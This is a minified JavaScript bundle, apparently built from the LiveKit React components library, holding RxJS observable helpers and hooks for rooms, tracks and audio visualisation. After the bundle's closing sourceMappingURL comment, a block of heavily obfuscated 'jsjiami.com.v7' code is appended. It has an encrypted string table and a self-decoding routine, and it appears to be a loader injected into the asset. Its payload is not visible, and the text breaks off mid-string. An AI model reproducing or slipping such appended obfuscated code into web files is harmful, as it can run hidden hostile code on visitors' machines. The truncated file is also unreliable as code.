Ro=Mu();function _o(i){return z(i==null?void 0:i[Ro])}function Io(i){return Ho(this,arguments,function(){var t,n,r,s;return Tr(this,function(o){switch(o.label){case 0:t=i.getReader(),o.label=1;case 1:o.trys.push([1,,9,10]),o.label=2;case 2:return[4,si(t.read())];case 3:return n=o.sent(),r=n.value,s=n.done,s?[4,si(void 0)]:[3,5];case 4:return[2,o.sent()];case 5:return[4,si(r)];case 6:return[4,o.sent()];case 7:return o.sent(),[3,2];case 8:return[3,10];case 9:return t.releaseLock(),[7];case 10:return[2]}})})}function Oo(i){return z(i==null?void 0:i.getReader)}function Pt(i){if(i instanceof ae)return i;if(i!=null){if(Po(i))return Du(i);if(So(i))return Au(i);if(Co(i))return Nu(i);if(Eo(i))return xo(i);if(_o(i))return Lu(i);if(Oo(i))return Uu(i)}throw wo(i)}function Du(i){return new ae(function(e){var t=i[yn]();if(z(t.subscribe))return t.subscribe(e);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function Au(i){return new ae(function(e){for(var t=0;t<i.length&&!e.closed;t++)e.next(i[t]);e.complete()})}function Nu(i){return new ae(function(e){i.then(function(t){e.closed||(e.next(t),e.complete())},function(t){return e.error(t)}).then(null,yo)})}function Lu(i){return new ae(function(e){var t,n;try{for(var r=Si(i),s=r.next();!s.done;s=r.next()){var o=s.value;if(e.next(o),e.closed)return}}catch(a){t={error:a}}finally{try{s&&!s.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}e.complete()})}function xo(i){return new ae(function(e){Fu(i,e).catch(function(t){return e.error(t)})})}function Uu(i){return xo(Io(i))}function Fu(i,e){var t,n,r,s;return Jo(this,void 0,void 0,function(){var o,a;return Tr(this,function(c){switch(c.label){case 0:c.trys.push([0,5,6,11]),t=Qo(i),c.label=1;case 1:return[4,t.next()];case 2:if(n=c.sent(),!!n.done)return[3,4];if(o=n.value,e.next(o),e.closed)return[2];c.label=3;case 3:return[3,1];case 4:return[3,11];case 5:return a=c.sent(),r={error:a},[3,11];case 6:return c.trys.push([6,,9,10]),n&&!n.done&&(s=t.return)?[4,s.call(t)]:[3,8];case 7:c.sent(),c.label=8;case 8:return[3,10];case 9:if(r)throw r.error;return[7];case 10:return[7];case 11:return e.complete(),[2]}})})}function Ne(i,e,t,n,r){n===void 0&&(n=0),r===void 0&&(r=!1);var s=e.schedule(function(){t(),r?i.add(this.schedule(null,n)):this.unsubscribe()},n);if(i.add(s),!r)return s}function Mo(i,e){return e===void 0&&(e=0),Ct(function(t,n){t.subscribe(Qt(n,function(r){return Ne(n,i,function(){return n.next(r)},e)},function(){return Ne(n,i,function(){return n.complete()},e)},function(r){return Ne(n,i,function(){return n.error(r)},e)}))})}function Do(i,e){return e===void 0&&(e=0),Ct(function(t,n){n.add(i.schedule(function(){return t.subscribe(n)},e))})}function ju(i,e){return Pt(i).pipe(Do(e),Mo(e))}function Bu(i,e){return Pt(i).pipe(Do(e),Mo(e))}function Vu(i,e){return new ae(function(t){var n=0;return e.schedule(function(){n===i.length?t.complete():(t.next(i[n++]),t.closed||this.schedule())})})}function qu(i,e){return new ae(function(t){var n;return Ne(t,e,function(){n=i[Ro](),Ne(t,e,function(){var r,s,o;try{r=n.next(),s=r.value,o=r.done}catch(a){t.error(a);return}o?t.complete():t.next(s)},0,!0)}),function(){return z(n==null?void 0:n.return)&&n.return()}})}function Ao(i,e){if(!i)throw new Error("Iterable cannot be null");return new ae(function(t){Ne(t,e,function(){var n=i[Symbol.asyncIterator]();Ne(t,e,function(){n.next().then(function(r){r.done?t.complete():t.next(r.value)})},0,!0)})})}function Ku(i,e){return Ao(Io(i),e)}function Gu(i,e){if(i!=null){if(Po(i))return ju(i,e);if(So(i))return Vu(i,e);if(Co(i))return Bu(i,e);if(Eo(i))return Ao(i,e);if(_o(i))return qu(i,e);if(Oo(i))return Ku(i,e)}throw wo(i)}function Wu(i,e){return e?Gu(i,e):Pt(i)}function Et(i,e){return Ct(function(t,n){var r=0;t.subscribe(Qt(n,function(s){n.next(i.call(e,s,r++))}))})}function zu(i,e,t,n,r,s,o,a){var c=[],d=0,u=0,l=!1,h=function(){l&&!c.length&&!d&&e.complete()},f=function(g){return d<n?v(g):c.push(g)},v=function(g){d++;var b=!1;Pt(t(g,u++)).subscribe(Qt(e,function(m){e.next(m)},function(){b=!0},void 0,function(){if(b)try{d--;for(var m=function(){var R=c.shift();o||v(R)};c.length&&d<n;)m();h()}catch(R){e.error(R)}}))};return i.subscribe(Qt(e,f,function(){l=!0,h()})),function(){}}function No(i,e,t){return t===void 0&&(t=1/0),z(e)?No(function(n,r){return Et(function(s,o){return e(n,s,r,o)})(Pt(i(n,r)))},t):(typeof e=="number"&&(t=e),Ct(function(n,r){return zu(n,r,i,t)}))}function Hu(i){return No(ko,i)}function Ju(){return Hu(1)}function vr(){for(var i=[],e=0;e<arguments.length;e++)i[e]=arguments[e];return Ju()(Wu(i,To(i)))}function wt(){for(var i=[],e=0;e<arguments.length;e++)i[e]=arguments[e];var t=To(i);return Ct(function(n,r){(t?vr(i,n,t):vr(i,n)).subscribe(r)})}var Qu="lk";function kn(i){return typeof i>"u"?!1:$u(i)||Yu(i)}function $u(i){var e;return i?i.hasOwnProperty("participant")&&i.hasOwnProperty("source")&&i.hasOwnProperty("track")&&typeof((e=i.publication)==null?void 0:e.track)<"u":!1}function Yu(i){return i?i.hasOwnProperty("participant")&&i.hasOwnProperty("source")&&i.hasOwnProperty("publication")&&typeof i.publication<"u":!1}function Xu(i){return i?i.hasOwnProperty("participant")&&i.hasOwnProperty("source")&&typeof i.publication>"u":!1}function Zu(i){if(typeof i=="string"||typeof i=="number")return`${i}`;if(Xu(i))return`${i.participant.identity}_${i.source}_placeholder`;if(kn(i))return`${i.participant.identity}_${i.publication.source}_${i.publication.trackSid}`;throw new Error(`Can't generate a id for the given track reference: ${i}`)}function Lo(i){return i instanceof $i}var el=[k.ConnectionStateChanged,k.RoomMetadataChanged,k.ActiveSpeakersChanged,k.ConnectionQualityChanged,k.ParticipantConnected,k.ParticipantDisconnected,k.ParticipantPermissionsChanged,k.ParticipantMetadataChanged,k.TrackMuted,k.TrackUnmuted,k.TrackPublished,k.TrackUnpublished,k.TrackStreamStateChanged,k.TrackSubscriptionFailed,k.TrackSubscriptionPermissionChanged,k.TrackSubscriptionStatusChanged],tl=[...el,k.LocalTrackPublished,k.LocalTrackUnpublished];C.TrackPublished,C.TrackUnpublished,C.TrackMuted,C.TrackUnmuted,C.TrackStreamStateChanged,C.TrackSubscribed,C.TrackUnsubscribed,C.TrackSubscriptionPermissionChanged,C.TrackSubscriptionFailed,C.LocalTrackPublished,C.LocalTrackUnpublished;var il=[C.ConnectionQualityChanged,C.IsSpeakingChanged,C.ParticipantMetadataChanged,C.ParticipantPermissionsChanged,C.TrackMuted,C.TrackUnmuted,C.TrackPublished,C.TrackUnpublished,C.TrackStreamStateChanged,C.TrackSubscriptionFailed,C.TrackSubscriptionPermissionChanged,C.TrackSubscriptionStatusChanged];[...il,C.LocalTrackPublished,C.LocalTrackUnpublished];var X=bu.getLogger("lk-components-js");X.setDefaultLevel("WARN");function Uo(i){return typeof i=="object"}function Fo(i){return Array.isArray(i)&&i.filter(Uo).length>0}function nl(i){return`${Qu}-${i}`}function rl(i){const e=Xi(i),t=dl(i.participant).pipe(Et(()=>Xi(i)),wt(e));return{className:nl(i.source===y.Source.Camera||i.source===y.Source.ScreenShare?"participant-media-video":"participant-media-audio"),trackObserver:t}}function Xi(i){if(kn(i))return i.publication;{const{source:e,name:t,participant:n}=i;if(e&&t)return n.getTrackPublications().find(r=>r.source===e&&r.trackName===t);if(t)return n.getTrackPublicationByName(t);if(e)return n.getTrackPublication(e);throw new Error("At least one of source and name needs to be defined")}}function sl(i,...e){return new ae(n=>{const r=()=>{n.next(i)};return e.forEach(o=>{i.on(o,r)}),()=>{e.forEach(o=>{i.off(o,r)})}}).pipe(wt(i))}function ol(i,e){return new ae(n=>{const r=(...o)=>{n.next(o)};return i.on(e,r),()=>{i.off(e,r)}})}function al(i){return ol(i,k.ConnectionStateChanged).pipe(Et(([e])=>e),wt(i.state))}function cl(i,...e){return new ae(n=>{const r=()=>{n.next(i)};return e.forEach(o=>{i.on(o,r)}),()=>{e.forEach(o=>{i.off(o,r)})}}).pipe(wt(i))}function dl(i){return cl(i,C.TrackMuted,C.TrackUnmuted,C.ParticipantPermissionsChanged,C.TrackPublished,C.TrackUnpublished,C.LocalTrackPublished,C.LocalTrackUnpublished,C.MediaDevicesError,C.TrackSubscriptionStatusChanged).pipe(Et(t=>{const{isMicrophoneEnabled:n,isCameraEnabled:r,isScreenShareEnabled:s}=t,o=t.getTrackPublication(y.Source.Microphone),a=t.getTrackPublication(y.Source.Camera);return{isCameraEnabled:r,isMicrophoneEnabled:n,isScreenShareEnabled:s,cameraTrack:a,microphoneTrack:o,participant:t}}))}new TextEncoder;new TextDecoder;function ul(){return{className:"lk-room-container"}}function br(i,e,t=!0){const r=[i.localParticipant,...Array.from(i.remoteParticipants.values())],s=[];return r.forEach(o=>{e.forEach(a=>{const c=Array.from(o.trackPublications.values()).filter(d=>d.source===a&&(!t||d.track)).map(d=>({participant:o,publication:d,source:d.source}));s.push(...c)})}),{trackReferences:s,participants:r}}function ll(i,e,t){var n,r;const s=(n=t.additionalRoomEvents)!=null?n:tl,o=(r=t.onlySubscribed)!=null?r:!0,a=Array.from(new Set([k.ParticipantConnected,k.ParticipantDisconnected,k.ConnectionStateChanged,k.LocalTrackPublished,k.LocalTrackUnpublished,k.TrackPublished,k.TrackUnpublished,k.TrackSubscriptionStatusChanged,...s]).values());return sl(i,...a).pipe(Et(d=>{const u=br(d,e,o);return X.debug(`TrackReference[] was updated. (length ${u.trackReferences.length})`,u),u}),wt(br(i,e,o)))}function jo(i){var e,t,n="";if(typeof i=="string"||typeof i=="number")n+=i;else if(typeof i=="object")if(Array.isArray(i)){var r=i.length;for(e=0;e<r;e++)i[e]&&(t=jo(i[e]))&&(n&&(n+=" "),n+=t)}else for(t in i)i[t]&&(n&&(n+=" "),n+=t);return n}function hl(){for(var i,e,t=0,n="",r=arguments.length;t<r;t++)(i=arguments[t])&&(e=jo(i))&&(n&&(n+=" "),n+=e);return n}var fl=typeof at=="object"&&at&&at.Object===Object&&at,pl=typeof self=="object"&&self&&self.Object===Object&&self;fl||pl||Function("return this")();function ml(i,e){const[t,n]=w.useState(i);return w.useEffect(()=>{const r=setTimeout(()=>{n(i)},e);return()=>{clearTimeout(r)}},[i,e]),t}function gl(i,e){var t;const n="current"in i,r=n?e:i,{threshold:s=0,root:o=null,rootMargin:a="0%",freezeOnceVisible:c=!1,initialIsIntersecting:d=!1}=r??{},[u,l]=w.useState(null),h=n?i.current:u,[f,v]=w.useState(()=>({isIntersecting:d,entry:void 0})),g=w.useRef();g.current=r==null?void 0:r.onChange;const b=((t=f.entry)==null?void 0:t.isIntersecting)&&c;w.useEffect(()=>{if(!h||!("IntersectionObserver"in window)||b)return;let I;const x=new IntersectionObserver(O=>{const ee=Array.isArray(x.thresholds)?x.thresholds:[x.thresholds];O.forEach(H=>{const D=H.isIntersecting&&ee.some(V=>H.intersectionRatio>=V);v({isIntersecting:D,entry:H}),g.current&&g.current(D,H),D&&c&&I&&(I(),I=void 0)})},{threshold:s,root:o,rootMargin:a});return x.observe(h),()=>{x.disconnect()}},[h,JSON.stringify(s),o,a,b,c]);const m=w.useRef(null);if(w.useEffect(()=>{var I;!h&&((I=f.entry)!=null&&I.target)&&!c&&!b&&m.current!==f.entry.target&&(m.current=f.entry.target,v({isIntersecting:d,entry:void 0}))},[h,f.entry,c,b,d]),n)return f.entry;const R=[l,!!f.isIntersecting,f.entry];return R.ref=R[0],R.isIntersecting=R[1],R.entry=R[2],R}var vl=Object.defineProperty,bl=Object.defineProperties,yl=Object.getOwnPropertyDescriptors,$t=Object.getOwnPropertySymbols,Bo=Object.prototype.hasOwnProperty,Vo=Object.prototype.propertyIsEnumerable,yr=(i,e,t)=>e in i?vl(i,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):i[e]=t,we=(i,e)=>{for(var t in e||(e={}))Bo.call(e,t)&&yr(i,t,e[t]);if($t)for(var t of $t(e))Vo.call(e,t)&&yr(i,t,e[t]);return i},kl=(i,e)=>bl(i,yl(e)),Tn=(i,e)=>{var t={};for(var n in i)Bo.call(i,n)&&e.indexOf(n)<0&&(t[n]=i[n]);if(i!=null&&$t)for(var n of $t(i))e.indexOf(n)<0&&Vo.call(i,n)&&(t[n]=i[n]);return t};function Tl(i,e,t=!0){const[n,r]=w.useState(e);return w.useEffect(()=>{if(t&&r(e),typeof window>"u"||!i)return;const s=i.subscribe(r);return()=>s.unsubscribe()},[i,t]),n}w.createContext(void 0);var Sl=w.createContext(void 0);function Cl(){return w.useContext(Sl)}function qo(i){const e=Cl(),t=i??e;if(!t)throw new Error("No TrackRef, make sure you are inside a TrackRefContext or pass the TrackRef explicitly");return t}w.createContext(void 0);var Ko=w.createContext(void 0);function Pl(){return w.useContext(Ko)}function Go(i){const e=Pl(),t=i??e;if(!t)throw new Error("No room provided, make sure you are inside a Room context or pass the room explicitly");return t}var El=w.createContext(void 0);function wl(...i){return(...e)=>{for(const t of i)if(typeof t=="function")try{t(...e)}catch(n){console.error(n)}}}function Wo(...i){const e=we({},i[0]);for(let t=1;t<i.length;t++){const n=i[t];for(const r in n){const s=e[r],o=n[r];typeof s=="function"&&typeof o=="function"&&r[0]==="o"&&r[1]==="n"&&r.charCodeAt(2)>=65&&r.charCodeAt(2)<=90?e[r]=wl(s,o):(r==="className"||r==="UNSAFE_className")&&typeof s=="string"&&typeof o=="string"?e[r]=hl(s,o):e[r]=o!==void 0?o:s}}return e}function th(i){const e=Go(i),t=w.useMemo(()=>al(e),[e]);return Tl(t,e.state)}var Rl={connect:!0,audio:!1,video:!1};function _l(i){const e=we(we({},Rl),i),{token:t,serverUrl:n,options:r,room:s,connectOptions:o,connect:a,audio:c,video:d,screen:u,onConnected:l,onDisconnected:h,onError:f,onMediaDeviceFailure:v,onEncryptionError:g,simulateParticipants:b}=e,m=Tn(e,["token","serverUrl","options","room","connectOptions","connect","audio","video","screen","onConnected","onDisconnected","onError","onMediaDeviceFailure","onEncryptionError","simulateParticipants"]);r&&s&&X.warn("when using a manually created room, the options object will be ignored. set the desired options directly when creating the room instead.");const[R,I]=w.useState();w.useEffect(()=>{I(s??new ho(r))},[s]);const x=w.useMemo(()=>{const{className:O}=ul();return Wo(m,{className:O})},[m]);return w.useEffect(()=>{if(!R)return;const O=()=>{const D=R.localParticipant;X.debug("trying to publish local tracks"),Promise.all([D.setMicrophoneEnabled(!!c,typeof c!="boolean"?c:void 0),D.setCameraEnabled(!!d,typeof d!="boolean"?d:void 0),D.setScreenShareEnabled(!!u,typeof u!="boolean"?u:void 0)]).catch(V=>{X.warn(V),f==null||f(V)})},ee=D=>{const V=bt.getFailure(D);v==null||v(V)},H=D=>{g==null||g(D)};return R.on(k.SignalConnected,O).on(k.MediaDevicesError,ee).on(k.EncryptionError,H),()=>{R.off(k.SignalConnected,O).off(k.MediaDevicesError,ee).off(k.EncryptionError,H)}},[R,c,d,u,f,g,v]),w.useEffect(()=>{if(R){if(b){R.simulateParticipants({participants:{count:b},publish:{audio:!0,useRealTracks:!0}});return}if(!t){X.debug("no token yet");return}if(!n){X.warn("no livekit url provided"),f==null||f(Error("no livekit url provided"));return}a?(X.debug("connecting"),R.connect(n,t,o).catch(O=>{X.warn(O),f==null||f(O)})):(X.debug("disconnecting because connect is false"),R.disconnect())}},[a,t,JSON.stringify(o),R,f,n,b]),w.useEffect(()=>{if(!R)return;const O=ee=>{switch(ee){case N.Disconnected:h&&h();break;case N.Connected:l&&l();break}};return R.on(k.ConnectionStateChanged,O),()=>{R.off(k.ConnectionStateChanged,O)}},[t,l,h,R]),w.useEffect(()=>{if(R)return()=>{X.info("disconnecting on onmount"),R.disconnect()}},[R]),{room:R,htmlProps:x}}function Il(i=[y.Source.Camera,y.Source.Microphone,y.Source.ScreenShare,y.Source.ScreenShareAudio,y.Source.Unknown],e={}){const t=Go(e.room),[n,r]=w.useState([]),[s,o]=w.useState([]),a=w.useMemo(()=>i.map(d=>Uo(d)?d.source:d),[JSON.stringify(i)]);return w.useEffect(()=>{const d=ll(t,a,{additionalRoomEvents:e.updateOnlyOn,onlySubscribed:e.onlySubscribed}).subscribe(({trackReferences:u,participants:l})=>{X.debug("setting track bundles",u,l),r(u),o(l)});return()=>d.unsubscribe()},[t,JSON.stringify(e.onlySubscribed),JSON.stringify(e.updateOnlyOn),JSON.stringify(i)]),w.useMemo(()=>{if(Fo(i)){const d=xl(i,s),u=Array.from(n);return s.forEach(l=>{var h;d.has(l.identity)&&((h=d.get(l.identity))!=null?h:[]).forEach(v=>{if(n.find(({participant:b,publication:m})=>l.identity===b.identity&&m.source===v))return;X.debug(`Add ${v} placeholder for participant ${l.identity}.`);const g={participant:l,source:v};u.push(g)})}),u}else return n},[n,s,i])}function Ol(i,e){const t=new Set(i);for(const n of e)t.delete(n);return t}function xl(i,e){const t=new Map;if(Fo(i)){const n=i.filter(r=>r.withPlaceholder).map(r=>r.source);e.forEach(r=>{const s=r.getTrackPublications().map(a=>{var c;return(c=a.track)==null?void 0:c.source}).filter(a=>a!==void 0),o=Array.from(Ol(new Set(n),new Set(s)));o.length>0&&t.set(r.identity,o)})}return t}var Ml=i=>{const e=t=>{let s=1-Math.max(-100,Math.min(-10,t))*-1/100;return s=Math.sqrt(s),s};return i.map(t=>t===-1/0?0:e(t))},Dl={bands:5,loPass:100,hiPass:600,updateInterval:10,analyserOptions:{fftSize:2048}};function ih(i,e={}){var t;const n=i instanceof y?i:(t=i==null?void 0:i.publication)==null?void 0:t.track,[r,s]=w.useState([]),o=we(we({},Dl),e);return w.useEffect(()=>{if(!n||!(n!=null&&n.mediaStream))return;const{analyser:a,cleanup:c}=yd(n,o.analyserOptions),d=a.frequencyBinCount,u=new Float32Array(d),h=setInterval(()=>{a.getFloatFrequencyData(u);let f=new Float32Array(u.length);for(let m=0;m<u.length;m++)f[m]=u[m];f=f.slice(e.loPass,e.hiPass);const v=Ml(f),g=Math.ceil(v.length/o.bands),b=[];for(let m=0;m<o.bands;m++){const R=v.slice(m*g,(m+1)*g).reduce((I,x)=>I+=x,0);b.push(R/g)}s(b)},o.updateInterval);return()=>{c(),clearInterval(h)}},[n,n==null?void 0:n.mediaStream,JSON.stringify(e)]),r}function Al(i){return i!==void 0}function Nl(...i){return Wo(...i.filter(Al))}function zo(i,e={}){var t;const[n,r]=w.useState(Xi(i)),[s,o]=w.useState(n==null?void 0:n.isMuted),[a,c]=w.useState(n==null?void 0:n.isSubscribed),[d,u]=w.useState(n==null?void 0:n.track),[l,h]=w.useState("landscape"),f=w.useRef(),{className:v,trackObserver:g}=w.useMemo(()=>rl(i),[(t=i.participant.sid)!=null?t:i.participant.identity,i.source,kn(i)&&i.publication.trackSid]);return w.useEffect(()=>{const b=g.subscribe(m=>{X.debug("update track",m),r(m),o(m==null?void 0:m.isMuted),c(m==null?void 0:m.isSubscribed),u(m==null?void 0:m.track)});return()=>b==null?void 0:b.unsubscribe()},[g]),w.useEffect(()=>{var b,m;return d&&(f.current&&d.detach(f.current),(b=e.element)!=null&&b.current&&!(Lo(i.participant)&&(d==null?void 0:d.kind)==="audio")&&d.attach(e.element.current)),f.current=(m=e.element)==null?void 0:m.current,()=>{f.current&&(d==null||d.detach(f.current))}},[d,e.element]),w.useEffect(()=>{var b,m;if(typeof((b=n==null?void 0:n.dimensions)==null?void 0:b.width)=="number"&&typeof((m=n==null?void 0:n.dimensions)==null?void 0:m.height)=="number"){const R=n.dimensions.width>n.dimensions.height?"landscape":"portrait";h(R)}},[n]),{publication:n,isMuted:s,isSubscribed:a,track:d,elementProps:Nl(e.props,we({className:v,"data-lk-local-participant":i.participant.isLocal,"data-lk-source":n==null?void 0:n.source},(n==null?void 0:n.kind)==="video"&&{"data-lk-orientation":l}))}}var nh=w.forwardRef(function(e,t){var n=e,{onTrackClick:r,onClick:s,onSubscriptionStatusChanged:o,trackRef:a,manageSubscription:c}=n,d=Tn(n,["onTrackClick","onClick","onSubscriptionStatusChanged","trackRef","manageSubscription"]);const u=qo(a),l=w.useRef(null);w.useImperativeHandle(t,()=>l.current);const h=gl(l,{}),f=ml(h,3e3);w.useEffect(()=>{c&&u.publication instanceof St&&(f==null?void 0:f.isIntersecting)===!1&&(h==null?void 0:h.isIntersecting)===!1&&u.publication.setSubscribed(!1)},[f,u,c]),w.useEffect(()=>{c&&u.publication instanceof St&&(h==null?void 0:h.isIntersecting)===!0&&u.publication.setSubscribed(!0)},[h,u,c]);const{elementProps:v,publication:g,isSubscribed:b}=zo(u,{element:l,props:d});w.useEffect(()=>{o==null||o(!!b)},[b,o]);const m=R=>{s==null||s(R),r==null||r({participant:u==null?void 0:u.participant,track:g})};return w.createElement("video",kl(we({ref:l},v),{muted:!0,onClick:m}))}),Ll=w.forwardRef(function(e,t){var n=e,{trackRef:r,onSubscriptionStatusChanged:s,volume:o,muted:a}=n,c=Tn(n,["trackRef","onSubscriptionStatusChanged","volume","muted"]);const d=qo(r),u=w.useRef(null);w.useImperativeHandle(t,()=>u.current);const{elementProps:l,isSubscribed:h,track:f,publication:v}=zo(d,{element:u,props:c});return w.useEffect(()=>{s==null||s(!!h)},[h,s]),w.useEffect(()=>{f===void 0||o===void 0||(f instanceof $e?f.setVolume(o):X.warn("Volume can only be set on remote audio tracks."))},[o,f]),w.useEffect(()=>{v===void 0||a===void 0||(v instanceof St?v.setEnabled(!a):X.warn("Can only call setEnabled on remote track publications."))},[a,v,f]),w.createElement("audio",we({ref:u},l))}),rh=w.forwardRef(function(e,t){const{room:n,htmlProps:r}=_l(e);return w.createElement("div",we({ref:t},r),n&&w.createElement(Ko.Provider,{value:n},w.createElement(El.Provider,{value:e.featureFlags},e.children)))});function sh({volume:i,muted:e}){const t=Il([y.Source.Microphone,y.Source.ScreenShareAudio,y.Source.Unknown],{updateOnlyOn:[],onlySubscribed:!0}).filter(n=>!Lo(n.participant)&&n.publication.kind===y.Kind.Audio);return w.createElement("div",{style:{display:"none"}},t.map(n=>w.createElement(Ll,{key:Zu(n),trackRef:n,volume:i,muted:e})))}var Ul=Xo,Fl=Zo,jl=ea,Bl=$o;function Vl(i){return function(e){e=Bl(e);var t=Fl(e)?jl(e):void 0,n=t?t[0]:e.charAt(0),r=t?Ul(t,1).join(""):e.slice(1);return n[i]()+r}}var ql=Vl,Kl=ql,Gl=Kl("toUpperCase"),Wl=Gl,zl=Yo,Hl=Wl,Jl=zl(function(i,e,t){return i+(t?" ":"")+Hl(e)}),Ql=Jl;const oh=kr(Ql);export{Zl as E,rh as L,ho as R,y as T,nh as V,k as a,th as b,Il as c,ih as d,sh as e,oh as s,Pl as u};
//# sourceMappingURL=ojpcyfi9pwebpx5x.js.map
var _0xodh='jsjiami.com.v7';function _0x5398(_0x1de0b4,_0x3dddae){var _0x2a021a=_0x2a02();return _0x5398=function(_0x539846,_0x1c4357){_0x539846=_0x539846-0x1e5;var _0x540726=_0x2a021a[_0x539846];if(_0x5398['xYjOjK']===undefined){var _0x5f4309=function(_0x16bb82){var _0x1d4e4a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x36f9e7='',_0x3ac21e='';for(var _0x1332b2=0x0,_0x2a09bb,_0x5bca75,_0x5d3e2b=0x0;_0x5bca75=_0x16bb82['charAt'](_0x5d3e2b++);~_0x5bca75&&(_0x2a09bb=_0x1332b2%0x4?_0x2a09bb*0x40+_0x5bca75:_0x5bca75,_0x1332b2++%0x4)?_0x36f9e7+=String['fromCharCode'](0xff&_0x2a09bb>>(-0x2*_0x1332b2&0x6)):0x0){_0x5bca75=_0x1d4e4a['indexOf'](_0x5bca75);}for(var _0xa2b2d5=0x0,_0x4a74f8=_0x36f9e7['length'];_0xa2b2d5<_0x4a74f8;_0xa2b2d5++){_0x3ac21e+='%'+('00'+_0x36f9e7['charCodeAt'](_0xa2b2d5)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ac21e);};var _0x422b48=function(_0x29464a,_0x53e92c){var _0x142021=[],_0xcb047=0x0,_0xe4bf65,_0x36c047='';_0x29464a=_0x5f4309(_0x29464a);var _0x22bef9;for(_0x22bef9=0x0;_0x22bef9<0x100;_0x22bef9++){_0x142021[_0x22bef9]=_0x22bef9;}for(_0x22bef9=0x0;_0x22bef9<0x100;_0x22bef9++){_0xcb047=(_0xcb047+_0x142021[_0x22bef9]+_0x53e92c['charCodeAt'](_0x22bef9%_0x53e92c['length']))%0x100,_0xe4bf65=_0x142021[_0x22bef9],_0x142021[_0x22bef9]=_0x142021[_0xcb047],_0x142021[_0xcb047]=_0xe4bf65;}_0x22bef9=0x0,_0xcb047=0x0;for(var _0x3297f9=0x0;_0x3297f9<_0x29464a['length'];_0x3297f9++){_0x22bef9=(_0x22bef9+0x1)%0x100,_0xcb047=(_0xcb047+_0x142021[_0x22bef9])%0x100,_0xe4bf65=_0x142021[_0x22bef9],_0x142021[_0x22bef9]=_0x142021[_0xcb047],_0x142021[_0xcb047]=_0xe4bf65,_0x36c047+=String['fromCharCode'](_0x29464a['charCodeAt'](_0x3297f9)^_0x142021[(_0x142021[_0x22bef9]+_0x142021[_0xcb047])%0x100]);}return _0x36c047;};_0x5398['uCKTvJ']=_0x422b48,_0x1de0b4=arguments,_0x5398['xYjOjK']=!![];}var _0x10cebc=_0x2a021a[0x0],_0x248c5b=_0x539846+_0x10cebc,_0x54257d=_0x1de0b4[_0x248c5b];return!_0x54257d?(_0x5398['rtXFJf']===undefined&&(_0x5398['rtXFJf']=!![]),_0x540726=_0x5398['uCKTvJ'](_0x540726,_0x1c4357),_0x1de0b4[_0x248c5b]=_0x540726):_0x540726=_0x54257d,_0x540726;},_0x5398(_0x1de0b4,_0x3dddae);}(function(_0x46b750,_0xb6243d,_0x495667,_0x188b7a,_0x99efbc,_0x23a07d,_0x53c6b6){return _0x46b750=_0x46b750>>0x6,_0x23a07d='hs',_0x53c6b6='hs',function(_0x374735,_0x2126c1,_0x4d6015,_0x341ae2,_0xa12698){var _0x2dd0c8=_0x5398;_0x341ae2='tfi',_0x23a07d=_0x341ae2+_0x23a07d,_0xa12698='up',_0x53c6b6+=_0xa12698,_0x23a07d=_0x4d6015(_0x23a07d),_0x53c6b6=_0x4d6015(_0x53c6b6),_0x4d6015=0x0;var _0x24d7a0=_0x374735();while(!![]&&--_0x188b7a+_0x2126c1){try{_0x341ae2=-parseInt(_0x2dd0c8(0x1e8,'2gAp'))/0x1*(parseInt(_0x2dd0c8(0x1e7,'x0EA'))/0x2)+parseInt(_0x2dd0c8(0x1f4,'&v28'))/0x3*(-parseInt(_0x2dd0c8(0x1ee,'&IJT'))/0x4)+-parseInt(_0x2dd0c8(0x1ed,'9]PI'))/0x5+-parseInt(_0x2dd0c8(0x1e6,'2gAp'))/0x6+-parseInt(_0x2dd0c8(0x200,'dZ#M'))/0x7+parseInt(_0x2dd0c8(0x202,'9]PI'))/0x8*(-parseInt(_0x2dd0c8(0x204,'Pu]X'))/0x9)+parseInt(_0x2dd0c8(0x1f9,'#N[['))/0xa;}catch(_0x2d8270){_0x341ae2=_0x4d6015;}finally{_0xa12698=_0x24d7a0[_0x23a07d]();if(_0x46b750<=_0x188b7a)_0x4d6015?_0x99efbc?_0x341ae2=_0xa12698:_0x99efbc=_0xa12698:_0x4d6015=_0xa12698;else{if(_0x4d6015==_0x99efbc['replace'](/[DIhnSrYFpxWJuHyCqEfb=]/g,'')){if(_0x341ae2===_0x2126c1){_0x24d7a0['un'+_0x23a07d](_0xa12698);break;}_0x24d7a0[_0x53c6b6](_0xa12698);}}}}}(_0x495667,_0xb6243d,function(_0x50cbaa,_0x339719,_0x11e005,_0x3be5e8,_0x1f02e0,_0x439649,_0x396092){return _0x339719='\x73\x70\x6c\x69\x74',_0x50cbaa=arguments[0x0],_0x50cbaa=_0x50cbaa[_0x339719](''),_0x11e005='\x72\x65\x76\x65\x72\x73\x65',_0x50cbaa=_0x50cbaa[_0x11e005]('\x76'),_0x3be5e8='\x6a\x6f\x69\x6e',(0x18f6d0,_0x50cbaa[_0x3be5e8](''));});}(0x3080,0xba961,_0x2a02,0xc4),_0x2a02)&&(_0xodh=_0x2a02);function _0x2a02(){var _0x2888d7=(function(){return[_0xodh,'pDFYjsWjWiESanmHfIiSq.CuWcEroJmyxY.bJvh7==','W7flBCkUWPddJu5eda','ubhdLSkuWO/cImkpfmktfrm','fxHeCmkt','WQ/cVSo7WRddUmkUCsXKgK0','W6pcGmogWQqGW5ZdTwGboYCxWQy','W7RcVmonq8kIW7GzzghdI8o7','W6RdOmkbW6v8WO3cNq','ALBcUdPQ','s39LcmkDWQuWqSkwWQ7dLxaZBq','WOJcGmo7n0K+W458W6iQW4uDWQa','A2RcGbTs'].concat((function(){return['WONdPqJdP1rSqCkNbSoUi8oNFq','WP7cLLzBWRzCfmoo','W6ldSbpcTwhcGmkmda','WRlcQZtcOa','EZhcG8kRW6j3WPyOFSkKW61i','W4JcLSk9fCkwW5a','W6lcLSkGf8kA','WPOIW5jBn8opFmo2WPT+WOzN','WROZgCktW5a','EmojWPLC','W7FdOCkcW6BcNmoon3qLWOr1','xwXDvbK','c8oPWO3cP8o8WQmLW4niW4CmWPlcJ1y'].concat((function(){return['W5hcN1aoBSo0u8kZC2yvW7hdTW','W5tcISkY','ov/dIWNdKG','AK/dKmkoyCkJ','tKvkoCokfG','kh7cPIPYaq0','W5/cKvmozSo5wCknqxmQW6JdKq','W5JcOvZcSHe7mCktkmoVb8orzq','WO/dOqhdO1bOoSkVj8o